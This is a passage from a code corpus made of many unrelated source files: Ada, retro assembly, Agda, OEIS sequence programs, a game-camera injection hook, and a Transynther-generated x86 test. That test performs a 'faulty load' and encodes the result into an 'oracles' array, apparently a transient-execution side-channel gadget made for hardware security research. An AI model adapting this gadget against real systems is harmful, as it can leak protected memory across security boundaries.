$68, $FF, $F8 dc.b $F8, 5, 0, $68, 0, 8 word_186E62: dc.w 4 dc.b $E8, $A, 0, $6C, $FF, $E8 dc.b $E8, $A, 8, $6C, 0, 0 dc.b 0, $A, $10, $6C, $FF, $E8 dc.b 0, $A, $18, $6C, 0, 0
Ada/src/Problem_16.adb
Tim-Tom/project-euler
0
12211
with Ada.Integer_Text_IO; with Ada.Text_IO; with BigInteger; use BigInteger; package body Problem_16 is package IO renames Ada.Text_IO; package I_IO renames Ada.Integer_Text_IO; procedure Solve is Big : constant BigInteger.BigInt := BigInteger.Create(2)**1_000; Str : constant String := BigInteger.ToString(Big); Digit_Sum : Natural := 0; begin for index in Str'Range loop Digit_Sum := Digit_Sum + Character'Pos(Str(index)) - Character'Pos('0'); end loop; I_IO.Put(Digit_Sum); IO.New_Line; end Solve; end Problem_16;
Cameras/Injustice2/InjectableGenericCameraSystem/Interceptor.asm
ghostinthecamera/InjectableGenericCameraSystem
623
13138
;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;// Part of Injectable Generic Camera System ;// Copyright(c) 2017, <NAME> ;// All rights reserved. ;// https://github.com/FransBouma/InjectableGenericCameraSystem ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions are met : ;// ;// * Redistributions of source code must retain the above copyright notice, this ;// list of conditions and the following disclaimer. ;// ;// * Redistributions in binary form must reproduce the above copyright notice, ;// this list of conditions and the following disclaimer in the documentation ;// and / or other materials provided with the distribution. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE ;// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;//////////////////////////////////////////////////////////////////////////////////////////////////////// ;--------------------------------------------------------------- ; Game specific asm file to intercept execution flow to obtain addresses, prevent writes etc. ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Public definitions so the linker knows which names are present in this file PUBLIC cameraStructInterceptor PUBLIC cameraWrite1Interceptor PUBLIC timeDilation1Interceptor PUBLIC timeDilation2Interceptor PUBLIC dofEnableInterceptor ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Externs which are used and set by the system. Read / write these ; values in asm to communicate with the system EXTERN g_cameraEnabled: BYTE EXTERN g_gamePaused: BYTE EXTERN g_cameraStructAddress: qword EXTERN g_dofStructAddress: qword EXTERN g_timeDilationAddress: qword ;--------------------------------------------------------------- ;--------------------------------------------------------------- ; Own externs, defined in InterceptorHelper.cpp EXTERN _cameraStructInterceptionContinue: qword EXTERN _cameraWrite1InterceptionContinue: qword EXTERN _timeDilation1InterceptionContinue: qword EXTERN _timeDilation2InterceptionContinue: qword EXTERN _dofEnableInterceptionContinue: qword .data ;--------------------------------------------------------------- ; Scratch pad ;--------------------------------------------------------------- .code cameraStructInterceptor PROC ;000000014ACF1AB0 | F2:0F1081 84050000 | movsd xmm0,qword ptr ds:[rcx+584] <<< Camera in RCX << INTERCEPT HERE ;000000014ACF1AB8 | F2:0F1102 | movsd qword ptr ds:[rdx],xmm0 ;000000014ACF1ABC | 8B81 8C050000 | mov eax,dword ptr ds:[rcx+58C] ;000000014ACF1AC2 | 8942 08 | mov dword ptr ds:[rdx+8],eax ;000000014ACF1AC5 | F2:0F1081 90050000 | movsd xmm0,qword ptr ds:[rcx+590] ;000000014ACF1ACD | F241:0F1100 | movsd qword ptr ds:[r8],xmm0 ;000000014ACF1AD2 | 8B81 98050000 | mov eax,dword ptr ds:[rcx+598] ;000000014ACF1AD8 | 41:8940 08 | mov dword ptr ds:[r8+8],eax ;000000014ACF1ADC | C3 | ret << CONTINUE HERE mov [g_cameraStructAddress], rcx originalCode: movsd xmm0,qword ptr [rcx+584h] movsd qword ptr [rdx],xmm0 mov eax,dword ptr [rcx+58Ch] mov dword ptr [rdx+8h],eax movsd xmm0,qword ptr [rcx+590h] movsd qword ptr [r8],xmm0 mov eax,dword ptr [rcx+598h] mov dword ptr [r8+8h],eax exit: jmp qword ptr [_cameraStructInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraStructInterceptor ENDP cameraWrite1Interceptor PROC ;000000014AD1C585 | F2:0F114C24 40 | movsd qword ptr ss:[rsp+40],xmm1 ;000000014AD1C58B | 8B88 94000000 | mov ecx,dword ptr [rax+94] ;000000014AD1C591 | 8B87 C8050000 | mov eax,dword ptr [rdi+5C8] ;000000014AD1C597 | 0F1187 84050000 | movups xmmword ptr [rdi+584],xmm0 << WRITE coords, pitch << INTERCEPT HERE ;000000014AD1C59E | 898F 80050000 | mov dword ptr [rdi+580],ecx ;000000014AD1C5A4 | 48:89F9 | mov rcx,rdi ;000000014AD1C5A7 | F2:0F118F 94050000 | movsd qword ptr [rdi+594],xmm1 << WRITE yaw,roll ;000000014AD1C5AF | 8987 9C050000 | mov dword ptr [rdi+59C],eax << WRITE Fov ;000000014AD1C5B5 | E8 864A1800 | call injustice2_dump.14AEA1040 << CONTINUE HERE cmp byte ptr [g_cameraEnabled], 1 je exit originalCode: movups xmmword ptr [rdi+584h],xmm0 mov dword ptr [rdi+580h],ecx movsd qword ptr [rdi+594h],xmm1 mov dword ptr [rdi+59Ch],eax exit: mov rcx, rdi jmp qword ptr [_cameraWrite1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. cameraWrite1Interceptor ENDP timeDilation1Interceptor PROC ;000000014ABDAAFC | F3:0F11B1 88000000 | movss dword ptr [rcx+88],xmm6 << write of time dilation << INTERCEPT HERE ;000000014ABDAB04 | 0F287424 30 | movaps xmm6,xmmword ptr ss:[rsp+30] ;000000014ABDAB09 | 48:83C4 40 | add rsp,40 ;000000014ABDAB0D | 5B | pop rbx << CONTINUE HERE ;000000014ABDAB0E | C3 | ret cmp byte ptr [g_gamePaused], 1 jne originalCode xorps xmm6, xmm6 originalCode: movss dword ptr [rcx+88h],xmm6 movaps xmm6,xmmword ptr [rsp+30h] add rsp,40h exit: jmp qword ptr [_timeDilation1InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. timeDilation1Interceptor ENDP timeDilation2Interceptor PROC ;Injustice2.exe+8EB2850 - F7 81 B8000000 00000800 - test [rcx+000000B8],00080000 ;Injustice2.exe+8EB285A - 48 8B 81 88010000 - mov rax,[rcx+00000188] ;Injustice2.exe+8EB2861 - F3 0F10 81 C0000000 - movss xmm0,[rcx+000000C0] << INTERCEPT HERE ;Injustice2.exe+8EB2869 - F3 0F59 80 8C000000 - mulss xmm0,[rax+0000008C] >> Grab RAX, which is time dilation value. ;Injustice2.exe+8EB2871 - 75 08 - jne Injustice2.exe+8EB287B ;Injustice2.exe+8EB2873 - F3 0F59 80 88000000 - mulss xmm0,[rax+00000088] ;Injustice2.exe+8EB287B - C3 - ret << CONTINUE HERE mov [g_timeDilationAddress], rax originalCode: movss xmm0, dword ptr [rcx+000000C0h] mulss xmm0, dword ptr [rax+0000008Ch] jne exit mulss xmm0, dword ptr [rax+00000088h] exit: jmp qword ptr [_timeDilation2InterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. timeDilation2Interceptor ENDP dofEnableInterceptor PROC ;000000014AB68D5B | 8843 68 | mov byte ptr [rbx+68],al << If 0, dof is OFF, 2 is ON << INTERCEPT HERE ;000000014AB68D5E | 41:8B46 6C | mov eax,dword ptr [r14+6C] ;000000014AB68D62 | 8943 6C | mov dword ptr [rbx+6C],eax ;000000014AB68D65 | 41:8B46 70 | mov eax,dword ptr [r14+70] ;000000014AB68D69 | 8943 70 | mov dword ptr [rbx+70],eax << CONTINUE HERE ;000000014AB68D6C | 41:8B46 74 | mov eax,dword ptr [r14+74] ;000000014AB68D70 | 8943 74 | mov dword ptr [rbx+74],eax ;000000014AB68D73 | 41:8B46 78 | mov eax,dword ptr [r14+78] mov [g_dofStructAddress], rbx cmp byte ptr [g_cameraEnabled], 1 jne originalCode xor al, al ; 0 means dof is off originalCode: mov byte ptr [rbx+68h],al mov eax,dword ptr [r14+6Ch] mov dword ptr [rbx+6Ch],eax mov eax,dword ptr [r14+70h] exit: jmp qword ptr [_dofEnableInterceptionContinue] ; jmp back into the original game code, which is the location after the original statements above. dofEnableInterceptor ENDP END
Tasks/Float_to_Int32.asm
BenSokol/EECS690-Project1
0
179294
.global Float_to_Int32; .text; Float_to_Int32: BX LR; .end
libsrc/input/svi/in_KeyPressed.asm
jpoikela/z88dk
640
160333
<reponame>jpoikela/z88dk ; uint in_KeyPressed(uint scancode) SECTION code_clib PUBLIC in_KeyPressed PUBLIC _in_KeyPressed ; Determines if a key is pressed using the scan code ; returned by in_LookupKey. ; enter : l = scan row ; h = key mask ; exit : carry = key is pressed & HL = 1 ; no carry = key not pressed & HL = 0 ; used : AF,BC,HL .in_KeyPressed ._in_KeyPressed ld a,6 ;Row 6 = modifiers out ($96),a in a,($99) cpl ld b,a ;Save values ld c,@00000011 ;Shift + Ctrl set bit 6,l jr z,no_control bit 1,a jr z,fail res 1,c no_control: bit 7,l jr z,no_shift bit 0,a jr z, fail res 0,c no_shift: ld a,b ; Make sure we don't have unwanted modifiers pressed and c jr nz,fail ; Now get the row ld a,l and @00001111 out ($96),a in a,($99) cpl and h jr z,fail ld hl,1 scf ret fail: ld hl,0 and a ret
gdb-7.3/gdb/testsuite/gdb.ada/ref_tick_size/p.adb
vidkidz/crossbridge
1
20191
-- Copyright 2008, 2009, 2010, 2011 Free Software Foundation, Inc. -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by -- the Free Software Foundation; either version 3 of the License, or -- (at your option) any later version. -- -- This program is distributed in the hope that it will be useful, -- but WITHOUT ANY WARRANTY; without even the implied warranty of -- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -- GNU General Public License for more details. -- -- You should have received a copy of the GNU General Public License -- along with this program. If not, see <http://www.gnu.org/licenses/>. with Interfaces; with Pck; use Pck; procedure P is subtype Double is Interfaces.IEEE_Float_64; D1 : Double := 123.0; D2 : Double; pragma Import (Ada, D2); for D2'Address use D1'Address; begin Do_Nothing (D1'Address); -- START Do_Nothing (D2'Address); end P;
6309/zx0_6309_turbo.asm
nowhereman999/zx0-6x09
1
12579
<filename>6309/zx0_6309_turbo.asm ; zx0_6309_turbo.asm - ZX0 decompressor for H6309 - 126 bytes ; ; Copyright (c) 2021 <NAME> ; ZX0 compression (c) 2021 <NAME>, https://github.com/einar-saukas/ZX0 ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software for any purpose, ; including commercial applications, and to alter it and redistribute it ; freely, subject to the following restrictions: ; ; 1. The origin of this software must not be misrepresented; you must not ; claim that you wrote the original software. If you use this software ; in a product, an acknowledgment in the product documentation would be ; appreciated but is not required. ; 2. Altered source versions must be plainly marked as such, and must not be ; misrepresented as being the original software. ; 3. This notice may not be removed or altered from any source distribution. ; rotate next bit into elias value zx0_elias_rotate macro lsla ; get next bit rolw ; rotate bit into elias value lsla ; get next bit endm ; get elias value zx0_get_elias macro lsla ; get next bit bne a@ ; is bit stream empty? no, branch lda ,x+ ; load another group of 8 bits rola ; get next bit a@ bcs b@ ; are we done? yes, branch bsr zx0_elias_more ; more processing required for elias b@ equ * endm ;------------------------------------------------------------------------------ ; Function : zx0_decompress ; Entry : Reg X = start of compressed data ; : Reg U = start of decompression buffer ; Exit : Reg X = end of compressed data + 1 ; : Reg U = end of decompression buffer + 1 ; Destroys : Regs D, V, W, Y ; Description : Decompress ZX0 data ;------------------------------------------------------------------------------ zx0_decompress ldq #$ffff0001 ; init offset = -1 and elias = 1 tfr d,v ; preserve offset lda #$80 ; init bit stream bra zx0_literals ; start with literals ; 1 - copy from new offset (repeat N bytes from new offset) zx0_new_offset zx0_get_elias ; obtain MSB offset comf ; adjust for negative offset (set carry for RORW below) incf ; " " " " beq zx0_rts ; eof? (length = 256) if so exit tfr f,e ; move to MSB position ldf ,x+ ; obtain LSB offset rorw ; last offset bit becomes first length bit tfr w,v ; preserve offset value ldw #1 ; set elias = 1 bcs skip@ ; test first length bit bsr zx0_elias_more ; get elias but skip first bit skip@ incw ; elias = elias + 1 zx0_copy tfr u,y ; get current buffer address addr v,y ; and calculate offset address tfm y+,u+ ; copy match incw ; set elias = 1 lsla ; get next bit bcs zx0_new_offset ; branch if next block is new offset ; 0 - literal (copy next N bytes) zx0_literals zx0_get_elias ; obtain length tfm x+,u+ ; copy literals incw ; set elias = 1 lsla ; copy from last offset or new offset? bcs zx0_new_offset ; branch if next block is new offset ; 0 - copy from last offset (repeat N bytes from last offset) zx0_get_elias bra zx0_copy ; go copy last offset block ; interlaced elias gamma coding zx0_elias_more zx0_elias_rotate bcc zx0_elias_more ; loop until done beq zx0_reload ; is bit stream empty? if yes, refill it zx0_rts rts ; return loop@ zx0_elias_rotate zx0_reload lda ,x+ ; load another group of 8 bits rola ; get next bit bcs zx0_rts zx0_elias_rotate bcs zx0_rts zx0_elias_rotate bcs zx0_rts zx0_elias_rotate bcc loop@ rts
src/smk-runs-analyze_run.adb
LionelDraghi/smk
10
20924
-- ----------------------------------------------------------------------------- -- smk, the smart make (http://lionel.draghi.free.fr/smk/) -- © 2018, 2019 <NAME> <<EMAIL>> -- SPDX-License-Identifier: APSL-2.0 -- ----------------------------------------------------------------------------- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- http://www.apache.org/licenses/LICENSE-2.0 -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- ----------------------------------------------------------------------------- with Smk.IO; use Smk.IO; with Smk.Runfiles; with Smk.Runs.Strace_Analyzer; with Smk.Settings; use Smk.Settings; with Ada.Text_IO; separate (Smk.Runs) -- ----------------------------------------------------------------------------- procedure Analyze_Run (Assertions : out Condition_Lists.List) is Strace_Ouput : Ada.Text_IO.File_Type; use Smk.Runs.Strace_Analyzer; -- -------------------------------------------------------------------------- procedure Add (Cond : in Condition) is begin if not In_Ignore_List (+Cond.Name) and then (not Exists (+Cond.Name) or else Kind (+Cond.Name) /= Special_File) then IO.Put ("Add " & (+Cond.Name) & " " & Trigger_Image (Cond.Trigger), Level => IO.Debug); declare use Condition_Lists; C : constant Cursor := Assertions.Find (Cond); begin if C = No_Element then Assertions.Append (Cond); IO.Put (" : inserted", Level => IO.Debug); else if Override (Cond.Trigger, Element (C).Trigger) then IO.Put (" : trigger modified, was " & Trigger_Image (Element (C).Trigger), Level => IO.Debug); Assertions.Replace_Element (C, Cond); else IO.Put (" : already known", Level => IO.Debug); end if; end if; end; IO.New_Line (Level => IO.Debug); end if; end Add; begin -- -------------------------------------------------------------------------- Open (File => Strace_Ouput, Name => Strace_Outfile_Name, Mode => In_File); while not End_Of_File (Strace_Ouput) loop declare Line : constant String := Get_Line (Strace_Ouput); Operation : Operation_Type; begin Analyze_Line (Line, Operation); case Operation.Kind is when None => null; when Read => Add ((Name => Operation.Name, File => Operation.File, Trigger => File_Update)); when Write => Add ((Name => Operation.Name, File => Operation.File, Trigger => File_Absence)); when Delete => Add ((Name => Operation.Name, File => Operation.File, Trigger => File_Presence)); when Move => Add ((Name => Operation.Source_Name, File => Operation.Source, Trigger => File_Presence)); Add ((Name => Operation.Target_Name, File => Operation.Target, Trigger => File_Absence)); end case; end; end loop; -- Add directories informations: if a directory was open, it may be -- because the command is searching files in it. In this case, we will -- take a picture of the dir (that is store all files even non accessed) -- to be able to compare the picture during future run, and detect added -- files in that dir. -- -- declare -- Search : Search_Type; -- File : Directory_Entry_Type; -- New_Dirs : File_Lists.Map; -- -- begin -- for D in Dirs.Iterate loop -- Start_Search (Search, -- Directory => +File_Lists.Key (D), -- Pattern => "./*", -- Filter => (Ordinary_File => True, -- others => False)); -- IO.Put_Line ("scanning dir " & (+File_Lists.Key (D)), -- Level => IO.Debug); -- while More_Entries (Search) loop -- Get_Next_Entry (Search, File); -- -- if Settings.In_Ignore_List (Full_Name (File)) then -- IO.Put_Line ("Ignoring " & (Full_Name (File)), -- Level => IO.Debug); -- -- elsif Is_Dir (Full_Name (File)) then -- -- Dir processing -- if Dirs.Contains (+Full_Name (File)) then -- IO.Put_Line ("dir " & Simple_Name (File) & " already known"); -- else -- IO.Put_Line ("recording not accessed new dir " -- & Simple_Name (File)); -- New_Dirs.Add (+Full_Name (File), -- Create (+Full_Name (File), Unused)); -- -- end if; -- -- else -- -- File processing -- if Sources_And_Targets.Contains (+Full_Name (File)) then -- IO.Put_Line ("file " & Simple_Name (File) & " already known"); -- else -- IO.Put_Line ("recording not accessed new file " -- & Simple_Name (File)); -- Sources_And_Targets.Add -- (+Full_Name (File), -- Create (+Full_Name (File), Unused)); -- -- end if; -- -- end if; -- -- -- end loop; -- -- end loop; -- -- -- Merge unused files into dir list: -- for F in New_Dirs.Iterate loop -- Dirs.Add (Key => File_Lists.Key (F), -- New_Item => New_Dirs (F)); -- end loop; -- -- end; -- if Debug_Mode then Close (Strace_Ouput); else Delete (Strace_Ouput); end if; Name_Sorting.Sort (Assertions); end Analyze_Run;
examples/outdated-and-incorrect/iird/IIRDr.agda
shlevy/agda
1,989
8541
<reponame>shlevy/agda {-# OPTIONS --no-positivity-check #-} module IIRDr where import LF import IIRD open LF open IIRD -- Agda2 has restricted IIRDs so we can define Ur/Tr directly mutual data Ur {I : Set}{D : I -> Set1}(γ : OPr I D)(i : I) : Set where intror : Hu γ (Ur γ) (Tr γ) i -> Ur {I}{D} γ i Tr : {I : Set}{D : I -> Set1}(γ : OPr I D)(i : I) -> Ur γ i -> D i Tr γ i (intror a) = Ht γ (Ur γ) (Tr γ) i a -- Elimination rule Rr : {I : Set}{D : I -> Set1}(γ : OPr I D)(F : (i : I) -> Ur γ i -> Set1) (h : (i : I)(a : Hu γ (Ur γ) (Tr γ) i) -> KIH (γ i) (Ur γ) (Tr γ) F a -> F i (intror a)) (i : I)(u : Ur γ i) -> F i u Rr γ F h i (intror a) = h i a (Kmap (γ i) (Ur γ) (Tr γ) F (Rr γ F h) a) -- Helpers ι★r : {I : Set}{D : I -> Set1} -> OP I D One' ι★r = ι ★'
programs/oeis/272/A272298.asm
neoneye/loda
22
18966
<reponame>neoneye/loda ; A272298: a(n) = n^4 + 324. ; 324,325,340,405,580,949,1620,2725,4420,6885,10324,14965,21060,28885,38740,50949,65860,83845,105300,130645,160324,194805,234580,280165,332100,390949,457300,531765,614980,707605,810324,923845,1048900,1186245,1336660,1500949,1679940,1874485,2085460,2313765,2560324,2826085,3112020,3419125,3748420,4100949,4477780,4880005,5308740,5765125,6250324,6765525,7311940,7890805,8503380,9150949,9834820,10556325,11316820,12117685,12960324,13846165,14776660,15753285,16777540,17850949,18975060,20151445,21381700,22667445,24010324,25412005,26874180,28398565,29986900,31640949,33362500,35153365,37015380,38950405,40960324,43047045,45212500,47458645,49787460,52200949,54701140,57290085,59969860,62742565,65610324,68575285,71639620,74805525,78075220,81450949,84934980,88529605,92237140,96059925 pow $0,4 add $0,324
llvm-gcc-4.2-2.9/gcc/ada/prj-pars.ads
vidkidz/crossbridge
1
8158
------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- P R J . P A R S -- -- -- -- S p e c -- -- -- -- Copyright (C) 2000-2005, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, -- -- Boston, MA 02110-1301, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- Implements the parsing of project files package Prj.Pars is procedure Set_Verbosity (To : Verbosity); -- Set the verbosity when parsing the project files procedure Parse (In_Tree : Project_Tree_Ref; Project : out Project_Id; Project_File_Name : String; Packages_To_Check : String_List_Access := All_Packages; When_No_Sources : Error_Warning := Error); -- Parse a project files and all its imported project files, in the -- project tree In_Tree. -- -- If parsing is successful, Project_Id is the project ID -- of the main project file; otherwise, Project_Id is set -- to No_Project. -- -- Packages_To_Check indicates the packages where any unknown attribute -- produces an error. For other packages, an unknown attribute produces -- a warning. -- -- When_No_Sources indicates what should be done when no sources -- are found in a project for a specified or implied language. end Prj.Pars;
programs/oeis/164/A164594.asm
neoneye/loda
22
89205
<reponame>neoneye/loda ; A164594: a(n) = ((5 + sqrt(18))*(4 + sqrt(8))^n + (5 - sqrt(18))*(4 - sqrt(8))^n)/2. ; 5,32,216,1472,10048,68608,468480,3198976,21843968,149159936,1018527744,6954942464,47491317760,324291002368,2214397476864,15120851795968,103251634552832,705046262054912,4814357020016640,32874486063693824,224481032349417472,1532852370285789184,10466970703490973696,71472946665641476096,488047807697204019200,3332598888252500344832,22756408644442370605056,155390478049518962081792,1061072555240612731813888,7245456617528750157856768,49475072498305099408343040,337836927046210794003890176,2306894836383245556764377088,15752463274696278102083895296,107564547506504260362556145664,734496673854463858083778002944,5015457010783676781769774858240,34247682695433703389487974842368,233857805477200212861745599873024,1596880982254132075778061000245248,10904185414215454903330523202977792,74458435455690582620419697621860352,508434000331801021736713395351060480 mov $1,5 mov $2,2 lpb $0 sub $0,1 mul $1,2 sub $1,$2 add $2,$1 mul $1,4 lpe mov $0,$1
programs/oeis/313/A313975.asm
neoneye/loda
22
90452
<reponame>neoneye/loda ; A313975: Coordination sequence Gal.4.145.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,17,22,27,32,37,44,49,54,59,64,71,76,81,86,91,98,103,108,113,118,125,130,135,140,145,152,157,162,167,172,179,184,189,194,199,206,211,216,221,226,233,238,243,248,253,260,265 mov $1,$0 seq $1,312475 ; Coordination sequence Gal.3.16.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. add $0,$1
Transynther/x86/_processed/NONE/_ht_st_zr_/i9-9900K_12_0xca.log_16638_882.asm
ljhsiun2/medusa
9
98876
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xaf51, %r13 inc %rbp movw $0x6162, (%r13) and $11475, %r12 lea addresses_WC_ht+0xdf51, %r9 nop nop nop nop sub $16572, %r12 mov $0x6162636465666768, %rsi movq %rsi, (%r9) nop nop nop sub $35059, %rbp lea addresses_UC_ht+0xd151, %rsi clflush (%rsi) nop nop nop nop nop dec %r9 mov $0x6162636465666768, %r12 movq %r12, (%rsi) nop nop nop nop nop and $43323, %rbp lea addresses_WC_ht+0x14fd1, %r12 nop nop nop sub $22721, %rbx movl $0x61626364, (%r12) xor %r9, %r9 lea addresses_normal_ht+0x1c351, %rsi lea addresses_WC_ht+0x91d1, %rdi nop nop nop nop xor $51360, %r13 mov $13, %rcx rep movsl cmp $3384, %rbx lea addresses_UC_ht+0x11ed1, %rsi lea addresses_WT_ht+0x12b51, %rdi nop nop dec %r12 mov $17, %rcx rep movsb sub $44644, %rdi lea addresses_WT_ht+0x17b51, %rsi lea addresses_WT_ht+0x16751, %rdi nop nop nop nop nop cmp %rbx, %rbx mov $103, %rcx rep movsq nop add %r8, %r8 lea addresses_normal_ht+0x17511, %rsi nop xor %rcx, %rcx mov (%rsi), %bx nop nop nop nop cmp %r13, %r13 lea addresses_WT_ht+0x1af18, %rsi lea addresses_A_ht+0x17851, %rdi nop nop nop nop add $40308, %r8 mov $93, %rcx rep movsq xor $35461, %rsi lea addresses_WC_ht+0xd97a, %rcx nop nop nop nop inc %rbx movb $0x61, (%rcx) nop nop nop nop xor $22973, %r8 lea addresses_WT_ht+0x19751, %rsi lea addresses_WT_ht+0xfcc9, %rdi xor %r13, %r13 mov $83, %rcx rep movsl nop nop nop nop xor $18590, %r12 lea addresses_A_ht+0xfd51, %rsi nop sub %rbp, %rbp movups (%rsi), %xmm3 vpextrq $0, %xmm3, %r8 add %rbp, %rbp lea addresses_normal_ht+0x6561, %rsi lea addresses_UC_ht+0xef51, %rdi clflush (%rsi) nop nop nop nop nop and $6800, %r13 mov $73, %rcx rep movsb nop nop nop nop sub %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r8 push %rcx push %rdx push %rsi // Load lea addresses_US+0xd751, %r10 add %rsi, %rsi mov (%r10), %r8d nop nop nop nop nop dec %r15 // Store lea addresses_A+0xc8d9, %r11 nop nop nop nop nop dec %rdx mov $0x5152535455565758, %r15 movq %r15, %xmm0 movntdq %xmm0, (%r11) add %rcx, %rcx // Load lea addresses_D+0x1aa91, %rsi clflush (%rsi) nop nop cmp $37165, %r8 vmovups (%rsi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 nop nop nop nop sub %rdx, %rdx // Store lea addresses_UC+0xf51, %rsi nop nop nop sub %r11, %r11 mov $0x5152535455565758, %rdx movq %rdx, (%rsi) nop nop nop nop nop sub %rdx, %rdx // Store lea addresses_WT+0x14f51, %rsi nop nop nop nop add %rcx, %rcx movb $0x51, (%rsi) nop and %rdx, %rdx // Faulty Load lea addresses_UC+0xf51, %r8 nop nop nop add %r15, %r15 vmovups (%r8), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r10 lea oracles, %rdx and $0xff, %r10 shlq $12, %r10 mov (%rdx,%r10,1), %r10 pop %rsi pop %rdx pop %rcx pop %r8 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': True, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': True, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 3}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 